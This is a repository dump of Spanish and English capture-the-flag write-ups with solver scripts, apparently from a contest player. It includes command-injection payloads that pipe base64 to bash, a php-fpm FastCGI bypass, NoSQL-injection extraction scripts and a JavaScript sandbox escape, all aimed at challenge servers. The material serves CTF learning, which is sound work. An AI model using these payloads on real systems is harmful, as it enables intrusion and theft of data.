/huawei-2018/06-armoured-kitten/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import angr 3 | 4 | p = angr.Project("re1", auto_load_libs=False) 5 | 6 | initial_state = p.factory.blank_state(addr=0x400658) 7 | 8 | class donothing(angr.SimProcedure): 9 | def run(self): 10 | pass 11 | 12 | p.hook(0x4070d0, donothing(), replace=True) 13 | p.hook(0x406ab0, donothing(), replace=True) 14 | 15 | loops = 0 16 | def check(state): 17 | global loops 18 | #print("[+] %s" % state) 19 | if state.ip.args[0] == 0x4008e8: 20 | return True 21 | elif state.ip.args[0] == 0x400858: 22 | loops += 1 23 | if loops >= 20: 24 | return True 25 | 26 | return False 27 | 28 | sm = p.factory.simulation_manager(initial_state) 29 | 30 | sm.one_active.options.add(angr.options.LAZY_SOLVES) 31 | #e = sm.explore(find=0x004008e8, avoid=0x00400844) 32 | e = sm.explore(find=check, avoid=0x400844) 33 | print(e) 34 | 35 | if len(e.found) > 0: 36 | s = e.found[0] 37 | sp = s.solver.eval(s.regs.sp) 38 | print("SP: %x" % sp) 39 | key = [] 40 | for i in range(20): 41 | key.append(s.mem[sp+30288 + i].char.concrete.decode('utf-8')) 42 | print(''.join(key)) 43 | -------------------------------------------------------------------------------- /huawei-2018/07-cryptokenita/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 7 - CRYPTOKENITA 2 | ### Categoría: Criptografia 3 | 4 | En esto reto nos proporcionan el código fuente de *nodeJS* de la aplicación. El objetivo es encontrar un token correcto para obtener el flag. 5 | 6 | [source.js](huawei-crypto.js) 7 | 8 | En resumen, se genera un token de 8 bytes que tenemos que acertar y enviar codificado en base64. 9 | 10 | A continuación se muestran las partes más importantes/criticas de la aplicación. 11 | 12 | ```js 13 | 14 | function tokenGen() { 15 | return crypto.randomBytes(8).toString(); 16 | } 17 | 18 | app.post('/guess', function (req, res, next) { 19 | var token = req.body.token; 20 | // No hack 21 | if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { 22 | res.render('hacker', {title: title}); 23 | return; 24 | } 25 | 26 | token = Buffer.from(token, 'base64').toString('utf8'); 27 | if(req.session && req.session.token && req.session.token === token) { 28 | res.render('flag', {title: title, flag: config.flag}); 29 | return; 30 | } 31 | 32 | res.render('no_flag', {title: title}); 33 | }); 34 | ``` 35 | 36 | Si analizamos detalladamente el código observaremos que en la función *toString* utiliza *UTF8*. Esta codificación es multibyte y se utilizan 2 bytes para representar los caracteres 0x80 a 0xff, por lo que utilizar literalmente 0x80 a 0xff nos devuelve un error de codificación. 37 | 38 | ![](img/utf.png) 39 | 40 | Sabiendo esto solo tenemos que probar múltiples veces con este valor no valido `0xffffffff` hasta conseguir la flag. 41 | 42 | ```python 43 | import urllib.parse 44 | import requests 45 | 46 | user_agent = 'Mozilla/5.0' 47 | 48 | for i in range(10000): 49 | headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} 50 | url = 'http://54.36.134.37:32009' 51 | r = requests.get(url, headers=headers) 52 | data = r.text 53 | print(urllib.parse.unquote(r.cookies['connect.sid'])) 54 | 55 | url2 = 'http://54.36.134.37:32009/guess' 56 | headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'} 57 | headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid'] 58 | r2 = requests.post(url2, data='token=//////////8', headers=headers) 59 | data2 = r2.text 60 | print(data2) 61 | 62 | if 'No flag' not in data2: 63 | break 64 | ``` 65 | 66 | ![](img/flag.png) 67 | 68 | ![](img/flag2.png) 69 | -------------------------------------------------------------------------------- /huawei-2018/07-cryptokenita/huawei-crypto.js: -------------------------------------------------------------------------------- 1 | var express = require('express'); 2 | var path = require('path'); 3 | var cookieParser = require('cookie-parser'); 4 | var logger = require('morgan'); 5 | var crypto = require('crypto'); 6 | var config = require('./config.js'); 7 | 8 | var app = express(); 9 | 10 | var session = require('express-session'); 11 | var fs = require('fs'); 12 | var _ = require('lodash'); 13 | 14 | var title = "Adivina el token !"; 15 | 16 | function tokenGen() { 17 | return crypto.randomBytes(8).toString(); 18 | } 19 | 20 | var source = fs.readFileSync(__filename,{encoding:'utf-8'}); 21 | 22 | // view engine setup 23 | app.set('views', path.join(__dirname, 'views')); 24 | app.set('view engine', 'jade'); 25 | 26 | app.use(logger('dev')); 27 | app.use(express.json()); 28 | app.use(express.urlencoded({extended: false})); 29 | app.use(cookieParser()); 30 | app.use(express.static(path.join(__dirname, 'public'))); 31 | 32 | app.use(session({ 33 | secret: config.secret, 34 | resave: false, 35 | saveUninitialized: false, 36 | maxAge: 120, 37 | cookie: {} 38 | })); 39 | 40 | app.get('/', function (req, res, next) { 41 | if (!req.session.token) { 42 | req.session.token = tokenGen(); 43 | req.session.save(); 44 | } 45 | res.render('index', {title: title}); 46 | }); 47 | 48 | app.get('/source', function (req, res, next) { 49 | res.setHeader('Content-Type', 'text/javascript'); 50 | res.send(source); 51 | }); 52 | app.post('/guess', function (req, res, next) { 53 | var token = req.body.token; 54 | // No hack 55 | if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { 56 | res.render('hacker', {title: title}); 57 | return; 58 | } 59 | 60 | token = Buffer.from(token, 'base64').toString('utf8'); 61 | if(req.session && req.session.token && req.session.token === token) { 62 | res.render('flag', {title: title, flag: config.flag}); 63 | return; 64 | } 65 | 66 | res.render('no_flag', {title: title}); 67 | }); 68 | 69 | // No hack 70 | app.use(function (req, res, next) { 71 | res.render('hacker',{title: title}); 72 | }); 73 | 74 | module.exports = app; -------------------------------------------------------------------------------- /huawei-2018/07-cryptokenita/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/07-cryptokenita/img/flag.png -------------------------------------------------------------------------------- /huawei-2018/07-cryptokenita/img/flag2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/07-cryptokenita/img/flag2.png -------------------------------------------------------------------------------- /huawei-2018/07-cryptokenita/img/utf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/07-cryptokenita/img/utf.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/admin-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/admin-panel.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/flag.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/hash-cracking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/hash-cracking.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/login-getter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/login-getter.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/login.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/loginadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/loginadmin.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/sqli-adminpassword.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/sqli-adminpassword.png -------------------------------------------------------------------------------- /huawei-2018/08-login-denoid/img/sqli-glob-size.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/08-login-denoid/img/sqli-glob-size.png -------------------------------------------------------------------------------- /hxp-2020/heiko/README.md: -------------------------------------------------------------------------------- 1 | # hxp CTF 2020 - Heiko 2 | ## Web - 244 points 3 | 4 | ![](img/heiko.png) 5 | 6 | [App source](index.php) 7 | 8 | According to the challenge files, the flag is in a randomly generated file `/flag_[a-zA-Z0-9]{24}.txt`. 9 | 10 | ```php 11 | $arg = escapeshellcmd($arg); // Pass spaces through. Otherwise, we can't 'man git diff' 12 | $manpage = shell_exec('/usr/bin/man --troff-device=html --encoding=UTF-8 ' . $arg); 13 | ``` 14 | ### Invalid characters bypass 15 | 16 | Using a character between *0x80* and *0xff* we can skip the first restriction. 17 | 18 | In addition, the function `escapeshellcmd` eliminates this character and does not disturb us. 19 | 20 | For example, this request returns the contents of the passwd file. 21 | 22 | `?page=%ff/etc/passwd` 23 | 24 | ### RCE 25 | 26 | After a while looking for a way to execute commands, we get to execute code, it should be noted that the order of the parameters matters. 27 | 28 | `?page=%ff--html=bash --troff-device=latin1 /proc/self/cmdline ;sleep${IFS}5` 29 | 30 | ### Trying to access /flag* 31 | * Using bash 32 | `--html=bash .... ;echo${IFS}Y2F0IC9mbGFnKiAyPj4vdG1wL2Vycm9yICAgPj4vdG1wL3BhdGF0YWZsYWcy|base64${IFS}-d|bash` 33 | * Using PHP 34 | `--html=php .... ;` 35 | 36 | In both cases APPARMOR blocks us 37 | 38 | `audit: type=1400 ...: apparmor="DENIED" operation="open" profile="/usr/bin/man" name="/" pid=21653 comm="sh" requested_mask="r" denied_mask="r" fsuid=33 ouid=0` 39 | 40 | `cat: '/flag*': No such file or directory` 41 | 42 | ### apparmor/open_basedir bypass 43 | 44 | To get around these restrictions, we interact with the FastCGI socket of *php-fpm* to execute a PHP script. 45 | 46 | First we use the script [fastcgipacket.rb](https://raw.githubusercontent.com/ONsec-Lab/scripts/master/fastcgipacket.rb) and generate a payload in base64. 47 | 48 | ```ruby 49 | packet << FCGIRecord::Params.new( 1, 50 | "REQUEST_METHOD" => "GET", 51 | "SCRIPT_FILENAME" => "/tmp/patata.php", 52 | "PHP_VALUE" => "open_basedir=\"/\"", 53 | "PHP_ADMIN_VALUE" => "disable_functions=\"\"" 54 | ).to_s 55 | ``` 56 | 57 | ```sh 58 | AQEAAQAIAAAAAQAAAAAAAAEEAAEAcwMADgNSRVFVRVNUX01FVEhPREdFVA8PU0NSSVBUX0ZJTEVOQU1FL3RtcC9wYXRhdGEucGhwCRBQSFBfVkFMVUVvcGVuX2Jhc2VkaXI9Ii8iDxRQSFBfQURNSU5fVkFMVUVkaXNhYmxlX2Z1bmN0aW9ucz0iIgAAAAEEAAEAAAAAAQUAAQAAAAAK 59 | ``` 60 | 61 | In addition, we upload a php script in the temporary directory by executing the following command, encoded in base64. 62 | 63 | `echo " /tmp/patataflag');?>" >/tmp/patata.php` 64 | 65 | `;echo${IFS}ZWNobyAiPD89c2hlbGxfZXhlYygnY2F0IC9mbGFnKiA%2bIC90bXAvcGF0YXRhZmxhZycpOz8%2bIiA%2bL3RtcC9wYXRhdGEucGhw|base64${IFS}-d|bash` 66 | 67 | Now we launch the query to FastCGI's socket with the following PHP code. 68 | The location of the PHP-fpm socket appears in the challenge's configuration files `/run/php/php7.3-fpm.sock` 69 | 70 | ```php 71 | 81 | ``` 82 | We launch the following request, using `--html=php` and a script without spaces 83 | ``` 84 | ?page=%ff--html%3dphp+--troff-device%3dlatin1+--nh+--no-subpages+/proc/self/cmdline+; 85 | ``` 86 | 87 | ### Read Flag 88 | Once the flag has been copied to the temporary directory, we can read it directly from the website . 89 | 90 | `/?page=%ff/tmp/patataflag` 91 | 92 | `hxp{maybe_this_will_finally_get_me_that_sweet_VC_money$$$}` 93 | -------------------------------------------------------------------------------- /hxp-2020/heiko/heiko-16fc430532ab60cc.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hxp-2020/heiko/heiko-16fc430532ab60cc.tar.xz -------------------------------------------------------------------------------- /hxp-2020/heiko/img/heiko.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hxp-2020/heiko/img/heiko.png -------------------------------------------------------------------------------- /isitdtu-2019/EasyPHP/img/phpinfo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/isitdtu-2019/EasyPHP/img/phpinfo.jpg -------------------------------------------------------------------------------- /isitdtu-2019/EasyPHP/img/readfile.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/isitdtu-2019/EasyPHP/img/readfile.jpg -------------------------------------------------------------------------------- /isitdtu-2019/EasyPHP/img/scandir.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/isitdtu-2019/EasyPHP/img/scandir.jpg -------------------------------------------------------------------------------- /kernel-2015/crypto300/README.md: -------------------------------------------------------------------------------- 1 | # Kernel 2015 - Crypto 300 2 | 3 | Para esta prueba tenemos 54 archivos de cartas con los siguientes números ordenados 4 | 5 | ``` 6 | 48 52 B 09 10 11 51 16 20 21 14 06 26 27 28 05 08 33 34 35 36 37 38 39 40 41 42 43 44 45 13 30 25 29 15 A 50 12 07 31 32 04 17 46 47 03 22 23 24 49 01 18 19 02 7 | ``` 8 | 9 | La clave a descifrar es `HBCNC DKARI OFVIC DISQ` 10 | 11 | Después de investigar llegamos a la conclusión de que nos encontramos ante el [cifrado Solitario](https://en.wikipedia.org/wiki/Solitaire_(cipher)) de la novela [Cryptonomicon](https://en.wikipedia.org/wiki/Cryptonomicon) 12 | 13 | Utilizamos este script de *Python* [https://www.schneier.com/code/sol.py] y lo modificamos para introducir el orden de nuestra baraja. Los comodines A y B los sustituimos por ’53’ y ’54’ 14 | 15 | ```python 16 | deck = [48, 52, 54, 9, 10, .... 18, 19, 2] 17 | ``` 18 | 19 | El resultado obtenido es `XBDQDVHLVQCJDNWQJLV` 20 | 21 | En este caso no hemos obtenido el mensaje correcto. 22 | 23 | Después de probar distintas combinaciones y verificar que el algoritmo fuera correcto se encontró la solución utilizando el script con la baraja inicial ordenada 24 | 25 | ```python 26 | deck = [1, 2, 3, .... 52, 53, 54] 27 | ``` 28 | 29 | El mensaje es **DESPUESUNBUSCAMINAS** 30 | 31 | Una vez encontrada la solución, podemos observar como lo que nos ofrecía la prueba es el orden de la baraja después de cifrar el texto y simplemente hemos tenido suerte al encontrar la solucion con una baraja ordenada. 32 | 33 | Para resolver correctamente la prueba, necesitamos invertir el proceso de cifrado y reordenado de la baraja. 34 | Para ello he modificado el script inicial con esta nueva opción. 35 | 36 | [solitaire-inverse.py](https://gist.github.com/jesux/0a2d243b3fdcc8827adf) 37 | -------------------------------------------------------------------------------- /kernel-2015/networking/README.md: -------------------------------------------------------------------------------- 1 | # Kernel 2015 - Networking 2 | 3 | En esta prueba nos dan un archivo .cap que contiene una comunicación USB entre el PC y varios dispositivos. 4 | 5 | Una de las cabeceras del archivo nos indica “USB packets with USBPcap header” 6 | 7 | ![](img/usb-cap.png) 8 | 9 | En un vistazo rápido al archivo podemos observar la dirección de los diferentes dispositivos conectados y analizando algunos paquetes hacernos una idea preliminar de lo que son cada uno 10 | 11 | host – El pc del usuario 12 | 1.1.x – Hub USB 13 | 1.2.x – USB Mass Storage 14 | 1.3.x – Keyboard Tracer Gamma Ivory 15 | Nos centraremos en los datos enviados por el teclado (1.3.1), para ello usaremos el filtro de wireshark usb.device_address==3 16 | 17 | ![](img/capturas-teclado.png) 18 | 19 | En esta captura podemos observar como el teclado envia el caracter 0x17 20 | 21 | Usando una tabla para traducir los scancodes a la tecla correspondiente 22 | 23 | Traducimos 0x17 a la tecla ‘t’ 24 | 25 | Siguiendo el mismo proceso podríamos sacar todas las teclas pulsadas, aunque para complicar las cosas nos aparece la siguiente secuencia en la que se pulsan 2 teclas simultáneamente 26 | 27 | ``` 28 | 00:00:18:00:00:00:00:00 29 | 00:00:18:11:00:00:00:00 30 | 00:00:11:00:00:00:00:00 31 | 00:00:00:00:00:00:00:00 32 | ``` 33 | 34 | En este caso tenemos la pulsación de la tecla ‘u’ (0x18) seguida la tecla ‘n’ (0x11) simultáneamente antes de soltar la ‘u’. Sin mucha dificultad sabemos que la secuencia pulsada ha sido ‘un’. 35 | 36 | ``` 37 | 00:00:17:00:00:00:00:00 T 38 | 00:00:20:00:00:00:00:00 3 39 | 00:00:0c:00:00:00:00:00 I 40 | 00:00:0c:11:00:00:00:00 N 41 | 00:00:11:00:00:00:00:00 42 | 00:00:19:00:00:00:00:00 V 43 | 00:00:0c:00:00:00:00:00 I 44 | 00:00:17:00:00:00:00:00 T 45 | 00:00:27:00:00:00:00:00 0 46 | 00:00:21:00:00:00:00:00 4 47 | 00:00:18:00:00:00:00:00 U 48 | 00:00:18:11:00:00:00:00 N 49 | 00:00:11:00:00:00:00:00 50 | 00:00:21:00:00:00:00:00 4 51 | 00:00:10:00:00:00:00:00 M 52 | 00:00:1e:00:00:00:00:00 1 53 | 00:00:0f:00:00:00:00:00 L 54 | 00:00:11:00:00:00:00:00 N 55 | 00:00:18:00:00:00:00:00 U 56 | 00:00:20:00:00:00:00:00 3 57 | 00:00:19:00:00:00:00:00 V 58 | 00:00:20:00:00:00:00:00 3 59 | 60 | T3INVIT04UN4M1LNU3V3 61 | ``` 62 | 63 | El texto es **t3invit04un4m1lnu3v3** -------------------------------------------------------------------------------- /kernel-2015/networking/img/capturas-teclado.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/kernel-2015/networking/img/capturas-teclado.png -------------------------------------------------------------------------------- /kernel-2015/networking/img/usb-cap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/kernel-2015/networking/img/usb-cap.png -------------------------------------------------------------------------------- /kernel-2015/networking/network300.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/kernel-2015/networking/network300.cap -------------------------------------------------------------------------------- /navajanegra-2016/web1-mongojojo/MongoJojo-threads-bit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | import urllib 6 | import requests 7 | import base64 8 | from time import sleep 9 | import threading 10 | 11 | maxthreads = 15 12 | 13 | user_agent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.6' 14 | headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} 15 | 16 | maxlength = 200 17 | 18 | string_true = 'mojo' 19 | string_error = 'Error with SQL query' 20 | 21 | def cleanList(items): 22 | a = [x if x!=None else '_' for x in items] 23 | b = ''.join(a) 24 | return b.rstrip('_') 25 | 26 | 27 | def worker(i): 28 | ct = threading.currentThread() 29 | threadLimiter.acquire() 30 | 31 | global finished 32 | 33 | if finished!=False and i>finished: 34 | threadLimiter.release() 35 | return 36 | 37 | bits = 0 38 | for bit in range(7, -1, -1): 39 | if finished!=False and i>finished: 40 | threadLimiter.release() 41 | return 42 | 43 | bitnumber = bits + pow(2, bit) 44 | 45 | #url = 'http://challenges.ka0labs.org:31337/avatar/'+ base64.b64encode(urllib.unquote('%22;tojsononeline(this).charCodeAt('+str(i)+')>='+str(bitnumber)+';%00')) 46 | 47 | payload = '%22;tojsononeline(this).charCodeAt(%s)>=%s;%00' % (i, bitnumber) 48 | url = 'http://challenges.ka0labs.org:31337/avatar/' + base64.b64encode(urllib.unquote(payload)) 49 | while True: 50 | try: 51 | r = requests.get(url, headers=headers, allow_redirects=False) 52 | data = r.text 53 | except: 54 | print("\n[+] Request Error! ") 55 | sleep(1) 56 | continue 57 | break 58 | 59 | if string_error in data: 60 | print("\nERROR") 61 | finished = True 62 | sys.exit() 63 | continue 64 | 65 | elif string_true in data: 66 | bits += pow(2, bit) 67 | 68 | else: 69 | pass 70 | 71 | if bits == 0: 72 | finished = i if finished==False or ifinished: 36 | threadLimiter.release() 37 | return 38 | 39 | kount = 0 40 | for letter in dic: 41 | if finished!=False and i>finished: 42 | threadLimiter.release() 43 | return 44 | 45 | kount += 1 46 | 47 | n = ord(letter) 48 | url2 = 'http://challenges.ka0labs.org:31337/avatar/'+ base64.b64encode(urllib.unquote('Petalo%22%26%26tojsononeline(this)['+str(i)+']==String.fromCharCode('+str(n)+');%00')) 49 | while True: 50 | try: 51 | r = requests.get(url2, headers=headers, allow_redirects=False) 52 | data = r.text 53 | except: 54 | print("\n[+] Request Error! ") 55 | sleep(1) 56 | continue 57 | break 58 | 59 | if string_error in data: 60 | print(data) 61 | print("\nERROR") 62 | sys.exit() 63 | continue 64 | 65 | elif string_true in data: 66 | result[i] = letter 67 | 68 | string = cleanList(result) 69 | sys.stdout.write('\r'+string) 70 | sys.stdout.flush() 71 | 72 | threadLimiter.release() 73 | break 74 | 75 | else: 76 | 77 | if kount == len(dic): 78 | sys.stdout.write(' \n') 79 | sys.stdout.flush() 80 | threadLimiter.release() 81 | finished = i if finished==False or i 10 | 11 | 12 | ``` 13 | 14 | Este parametro de la URL es vulnerable a NoSQL injection, ya que la aplicación utiliza una base de datos MongoDB. 15 | 16 | ### Scripts 17 | 18 | Con estos 3 scripts se automatiza el proceso de obtener cada caracter del objeto `this`. El primero lo hace probando entre una lista de caracteres, el segundo implementa threads para agilizar el proceso y finalmente el tercero hace una busqueda binaria y soporta threads. 19 | 20 | [MongoJojo.py](MongoJojo.py) 21 | 22 | [![asciicast](https://asciinema.org/a/88573.svg)](https://asciinema.org/a/88573) 23 | 24 | [MongoJojo-threads.py](MongoJojo-threads.py) 25 | 26 | [![asciicast](https://asciinema.org/a/88578.svg)](https://asciinema.org/a/88578) 27 | 28 | [MongoJojo-threads-bit.py](MongoJojo-threads-bit.py) 29 | 30 | [![asciicast](https://asciinema.org/a/88871.svg)](https://asciinema.org/a/88871) 31 | 32 | ``` 33 | { "_id" : ObjectId("57d6bc3c27913d21a0bbad41"), "user" : "MojoJojo", "password" : "bubbles{Ih4t3Sup3RG1rrrlz}", "avatar" : "mojo.png", "admin" : "YES" } 34 | ``` 35 | 36 | ``` 37 | { 38 | "_id" : ObjectId("57d6bc4727913d21a0bbad42"), 39 | "user" : "Burbuja", 40 | "password" : "1234", 41 | "avatar" : "burbuja.png", 42 | "admin" : "NO" 43 | } 44 | 45 | { 46 | "_id" : ObjectId("57d6bc5227913d21a0bbad43"), 47 | "user" : "Petalo", 48 | "password" : "gl00m", 49 | "avatar" : "petalo.png", 50 | "admin" : "NO" 51 | } 52 | 53 | { 54 | "_id" : ObjectId("57d6bc5c27913d21a0bbad44"), 55 | "user" : "Cactus", 56 | "password" : "CuidadoQueQuemo", 57 | "avatar" : "cactus.png", 58 | "admin" : "NO" 59 | } 60 | 61 | { 62 | "_id" : ObjectId("57d6bc3c27913d21a0bbad41"), 63 | "user" : "MojoJojo", 64 | "password" : "bubbles{Ih4t3Sup3RG1rrrlz}", 65 | "avatar" : "mojo.png", 66 | "admin" : "YES" 67 | } 68 | ``` 69 | -------------------------------------------------------------------------------- /navajanegra-2016/web1-mongojojo/img/mongojojo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2016/web1-mongojojo/img/mongojojo.png -------------------------------------------------------------------------------- /navajanegra-2016/web2-javascript/README.md: -------------------------------------------------------------------------------- 1 | # NavajaNegra 2016 – Web 2 – Javascript like a Ninja 2 | 3 | Una vez superada la primera prueba, deberíamos haber obtenido las credenciales del administrador MojoJojo. 4 | 5 | Así que el primer paso es ‘encontrar’ el panel de login y acceder: http://challenges.ka0labs.org:31337/login 6 | 7 | ![](img/mojojojo-login.png) 8 | 9 | Una vez dentro nos encontramos con un terminal llamado *MoJS* en el que podemos escribir instrucciones, al parecer en lenguaje *JavaScript*. 10 | 11 | ![](img/mojojojo-terminal.png) 12 | 13 | Si revisamos el código fuente de la página, podemos encontrar un comentario con información de como utilizar el terminal. 14 | 15 | ``` 16 | Notes: 17 | Ok, with all that languages out there I sometimes forget my own =_=’ 18 | Types: only integers to count 19 | Operations: addition with ‘+’ 20 | Auxiliar functions: ‘help’ 21 | Assign to ‘result’ to see output 22 | ``` 23 | 24 | Con esta información ya deberíamos poder utilizar correctamente la terminal. 25 | Probamos con `result=help;` y obtenemos en pantalla la función help 26 | 27 | 28 | ``` 29 | "function () { return execute.toString(); }" 30 | ``` 31 | 32 | Si la ejecutamos con `result=help(0);` obtenemos el código de la función *execute*, que es la parte servidor, encargada de recibir las instrucciones que escribimos en el terminal. 33 | 34 | ![](img/mojojojo-execute.png) 35 | 36 | Una vez asimilado el código, vemos como las variables que escribimos en el terminal se guardan en el Objeto *scope[sessId]*, también tenemos la restricción de no poder utilizar comillas y generar una cadena de texto o utilizar el carácter punto para lanzar un método. 37 | 38 | Una de las pistas nos recomienda utilizar prototypes y mutar el objeto, `Javascript objects have prototypes. Mutate the scope.` 39 | 40 | Tras innumerables pruebas, se consigue mutar a diferentes tipos, si mutamos a *Function* podemos utilizar constructor para crear una función propia. 41 | 42 | ``` 43 | MoJS> __proto__=help; 44 | MoJS> result=constructor; 45 | "function Function() { [native code] }" 46 | MoJS> result=constructor(123456); 47 | "function anonymous() {\n123456\n}" 48 | ``` 49 | 50 | Incluso somos capaces de ejecutar la función, aunque de momento es una función que no devuelve nada. 51 | 52 | ``` 53 | MoJS> result=constructor(123456)(0); 54 | "undefined" 55 | ``` 56 | 57 | Nuestro siguiente objetivo es generar un *String* definido por nosotros para incluirlo en una función y poder ejecutar código. 58 | 59 | Para ello mutamos a *String* utilizando la siguiente instrucción, es importante no haber mutado antes a *Function* para que funcione. 60 | 61 | ``` 62 | MoJS> __proto__=constructor(help(0)); 63 | "undefined" 64 | MoJS> result=constructor; 65 | "function String() { [native code] }" 66 | ``` 67 | 68 | Por ultimo, mutamos a la clase *String*, donde tendremos acceso a la ansiada función *fromCharCode*. 69 | 70 | ``` 71 | MoJS> result=constructor; 72 | "function Function() { [native code] }" 73 | MoJS> result=fromCharCode; 74 | "function fromCharCode() { [native code] }" 75 | ``` 76 | 77 | Ahora solo nos falta codificar la instrucción JavaScript que queramos ejecutar en el servidor. 78 | 79 | Para ello necesitamos convertir nuestra instrucción a una secuencia de valores decimales y concatenarlos después de utilizar *fromCharCode* en cada uno de ellos. Por último, utilizamos `constructor(instruccion)(0);` para crear la función y ejecutarla. 80 | 81 | ```javascript 82 | return Object.keys(this); 83 | 84 | 114,101,116,117,114,110,32,79,98,106,101,99,116,46,107,101,121,115,40,116,104,105,115,41,59 85 | 86 | result=constructor(fromCharCode(114)+fromCharCode(101)+fromCharCode(116)+fromCharCode(117)+fromCharCode(114)+fromCharCode(110)+fromCharCode(32)+fromCharCode(79)+fromCharCode(98)+fromCharCode(106)+fromCharCode(101)+fromCharCode(99)+fromCharCode(116)+fromCharCode(46)+fromCharCode(107)+fromCharCode(101)+fromCharCode(121)+fromCharCode(115)+fromCharCode(40)+fromCharCode(116)+fromCharCode(104)+fromCharCode(105)+fromCharCode(115)+fromCharCode(41)+fromCharCode(59))(0); 87 | 88 | "execute,scope,fl4g" 89 | ``` 90 | 91 | Finalmente repetimos el paso anterior y codificamos la instrucción *return fl4g;* para obtener el flag. 92 | 93 | ```javascript 94 | return fl4g; 95 | ``` 96 | 97 | Aquí vemos la tres instrucciones necesarias para resolver la prueba 98 | 99 | ![](img/mojojojo-solucion.png) 100 | -------------------------------------------------------------------------------- /navajanegra-2016/web2-javascript/img/mojojojo-execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2016/web2-javascript/img/mojojojo-execute.png -------------------------------------------------------------------------------- /navajanegra-2016/web2-javascript/img/mojojojo-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2016/web2-javascript/img/mojojojo-login.png -------------------------------------------------------------------------------- /navajanegra-2016/web2-javascript/img/mojojojo-solucion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2016/web2-javascript/img/mojojojo-solucion.png -------------------------------------------------------------------------------- /navajanegra-2016/web2-javascript/img/mojojojo-terminal.png: -------------------------------------------------------------------------------- 